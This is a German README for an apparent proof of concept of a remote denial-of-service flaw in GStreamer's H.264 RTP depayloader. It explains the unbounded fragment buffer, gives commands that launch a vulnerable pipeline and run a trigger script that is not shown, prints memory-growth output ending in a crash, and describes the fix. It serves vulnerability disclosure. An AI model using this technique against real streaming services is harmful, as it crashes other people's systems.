
Proof of Concept für CVE-2026-18649, eine Remote-Denial-of-Service-Schwachstelle im H.264-RTP-Depayloader (rtph264depay) von GStreamer.
Proof of Concept für eine Ressourcenerschöpfungs-Schwachstelle im H.264-RTP-Depayloader von GStreamer (rtph264depay). Das gleiche Muster betrifft auch rtph265depay.
Während der Reassemblierung fragmentierter H.264-FU-A-RTP-Pakete wird jedes eingehende Fragment in einen internen GstAdapter-Puffer ohne Größenbegrenzung geschoben. Der Adapter leert sich nur, wenn das End-of-Fragment-Bit (E) im FU-Header gesetzt ist. Ein entfernter Angreifer sendet ein gültiges Startfragment und dann einen endlosen Strom von Fortsetzungsfragmenten, ohne jemals das E-Bit zu setzen. Der Puffer wächst weiter, bis dem Prozess der Speicher ausgeht und er abstürzt.
Vollständiger Bericht: 0xsemizzz.vercel.app/projects/gstreamer-cve
gst-plugins-good vor dem Upstream-Fix. Bestätigt auf 1.28.2 (Ubuntu 24.04).
Starte eine Pipeline und führe dann den PoC aus:
gst-launch-1.0 udpsrc port=5036 buffer-size=4194304 \
caps="application/x-rtp,media=video,payload=96,clock-rate=90000,encoding-name=H264" \
! rtph264depay ! fakesink &
PID=$!
python3 trigger.py 5036 $PID
Für einen schnellen Absturz füge ein Speicherlimit hinzu:
ulimit -v 262144 # 256 MB, process dies in about 12 seconds
gst-launch-1.0 udpsrc port=5036 buffer-size=4194304 \
caps="application/x-rtp,media=video,payload=96,clock-rate=90000,encoding-name=H264" \
! rtph264depay ! fakesink &
python3 trigger.py 5036 $!
[*] port=5036 1 fragment every 0.5ms (~2.8 MB/s)
[*] monitoring VmData (heap), not RSS
[*] target PID=12345 baseline VmData=26 MB
5000 frags ~ 7 MB sent | VmData=35MB (+8MB)
10000 frags ~ 13 MB sent | VmData=44MB (+17MB)
15000 frags ~ 20 MB sent | VmData=53MB (+26MB)
20000 frags ~ 27 MB sent | VmData=62MB (+35MB)
25000 frags ~ 33 MB sent | VmData=71MB (+44MB)
30000 frags ~ 40 MB sent | VmData=79MB (+53MB)
...
DEAD
Eine max-reassembly-size-Eigenschaft wurde zu rtph264depay und rtph265depay hinzugefügt. Anwendungen sollten sie auf einen angemessenen Wert setzen (16 MB für Video ist typisch). Der Standardwert ist 0 (unbegrenzt) für Abwärtskompatibilität.